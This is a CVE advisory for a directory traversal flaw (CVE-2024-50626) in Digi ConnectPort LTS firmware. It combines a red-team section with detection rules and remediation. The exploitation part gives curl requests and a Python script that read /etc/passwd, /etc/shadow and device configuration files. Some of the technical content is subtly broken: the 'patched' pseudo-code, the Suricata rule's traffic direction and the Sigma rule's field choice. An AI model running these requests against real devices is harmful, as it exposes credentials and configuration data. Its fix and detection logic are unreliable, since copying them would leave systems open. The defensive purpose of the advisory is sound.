CVE-2024-50626

Executive Summary

CVE-2024-50626 is a directory traversal vulnerability discovered in the WebFS component of Digi ConnectPort LTS devices prior to version 1.4.12. This flaw allows an attacker on the local area network to manipulate URLs with traversal sequences (e.g., ../), potentially gaining unauthorized read access to arbitrary files on the device's filesystem. The vulnerability is classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). No public proof-of-concept (PoC) or exploit code has been released at this time, and the CVSS score is currently unassigned. The attack vector is adjacent network (LAN), requiring no authentication, making it a significant risk for exposed industrial IoT deployments.

Supply Chain & Package Security

This vulnerability affects a proprietary embedded system (Digi ConnectPort LTS) and is not related to open-source package ecosystems such as NPM, PyPI, Go, or Ruby. No supply chain implications for those ecosystems exist.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 (UNKNOWN). Based on the description and CWE-22 classification, a reasonable estimated vector would be:

• Attack Vector (AV): Adjacent Network (A) – requires LAN access.
• Attack Complexity (AC): Low (L) – simple URL manipulation.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerable component only.
• Confidentiality (C): High (H) – arbitrary file read.
• Integrity (I): None (N) – no write capability.
• Availability (A): None (N) – no denial of service.

Estimated CVSS:3.1 Score: 6.5 (Medium) – AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Threat Level: Medium. Exploitation requires LAN access, but no authentication, making it a realistic threat for internal network compromises.

Deep Dive & Mechanics

The vulnerability resides in the WebFS (Web File System) component of Digi ConnectPort LTS firmware. WebFS is a lightweight HTTP server used for device management and file access. The flaw is a classic path traversal (directory traversal) where user-supplied URL paths are not properly sanitized.

Mechanism:

1. An attacker sends an HTTP GET request to the WebFS server with a URL containing ../ sequences.
2. The server fails to validate or canonicalize the path, allowing the attacker to escape the intended web root directory.
3. The server then reads and returns the contents of files outside the web root, such as /etc/passwd, configuration files, or firmware binaries.

Example Request:

GET /../../../etc/passwd HTTP/1.1
Host: <target_ip>

This could expose sensitive system files, credentials, or device configuration data.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.4.12): The WebFS handler likely processes the URL path without normalization:

// Vulnerable pseudo-code
char *path = get_url_path(request);
char full_path[256];
snprintf(full_path, sizeof(full_path), "/webroot/%s", path);
FILE *file = fopen(full_path, "r");
if (file) {
    send_file(file);
}

No check for ../ sequences.

Patched Code (1.4.12): The patched version likely includes path canonicalization and validation:

// Patched pseudo-code
char *path = get_url_path(request);
char full_path[256];
// Normalize path to remove traversal sequences
realpath(path, full_path);
// Ensure path starts with webroot
if (strncmp(full_path, "/webroot/", 9) != 0) {
    return 403 Forbidden;
}
FILE *file = fopen(full_path, "r");
if (file) {
    send_file(file);
}

The realpath() function resolves all .. and . components, and the prefix check prevents access outside the webroot.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• LAN access to the target Digi ConnectPort LTS device.
• Device running firmware version < 1.4.12.

Exploitation Steps:

1. Identify the target IP (e.g., 192.168.1.100).
2. Use curl or a web browser to send traversal requests:

   curl --path-as-is "http://192.168.1.100/../../../etc/passwd"
   

3. If successful, the contents of /etc/passwd will be returned.
4. Enumerate other files:

   curl --path-as-is "http://192.168.1.100/../../../etc/shadow"
   curl --path-as-is "http://192.168.1.100/../../../config/device.conf"
   

Automated Script (Python):

import requests

target = "http://192.168.1.100"
payloads = [
    "/../../../etc/passwd",
    "/../../../etc/shadow",
    "/../../../config/device.conf"
]

for payload in payloads:
    url = target + payload
    try:
        r = requests.get(url, timeout=5)
        if r.status_code == 200:
            print(f"[+] Found: {url}")
            print(r.text[:500])
    except:
        pass

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP logs for URLs containing ../ or %2e%2e/ sequences.
• Alert on requests to paths like /../../../etc/passwd.
• Use network IDS/IPS rules to block traversal patterns.

Defense:

• Immediately upgrade to firmware version 1.4.12 or later.
• Restrict LAN access to the device using firewall rules (allow only trusted IPs).
• Disable WebFS if not required for operations.
• Implement web application firewall (WAF) rules to filter traversal attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests with path traversal sequences (../, ..\\, %2e%2e/).
• Requests to sensitive files like /etc/passwd, /etc/shadow, /config/device.conf.
• Source IPs from unexpected LAN segments.

File System IOCs:

• Unauthorized access logs showing file reads outside webroot.
• Modified configuration files if exploitation leads to further compromise.

Log Entries:

192.168.1.50 - - [01/Jan/2025:12:00:00] "GET /../../../etc/passwd HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule CVE_2024_50626_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against Digi ConnectPort LTS WebFS"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2024-50626"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e/"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/config/"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2024-50626 Directory Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal sequences targeting Digi ConnectPort LTS
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e/'
            - '/etc/passwd'
            - '/etc/shadow'
    condition: selection
falsepositives:
    - Legitimate file paths with similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-50626 Digi ConnectPort LTS Directory Traversal Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"../"; http_uri;
    pcre:"/\.\.\//i";
    reference:cve,2024-50626;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to version 1.4.12 or later from Digi's official support portal.
2. Restrict LAN access to the device using firewall rules (allow only management IPs).
3. Disable WebFS if not required: config webfs disable (via CLI).

Long-term Measures:

• Implement network segmentation for IoT/OT devices.
• Deploy a web application firewall (WAF) with path traversal rules.
• Enable logging and monitoring for all HTTP requests to the device.
• Conduct regular vulnerability scans on the LAN.

Workaround (if patching is delayed):

• Use an internal reverse proxy to sanitize URLs before forwarding to the device.
• Block HTTP requests containing ../ at the network perimeter.

Valters IT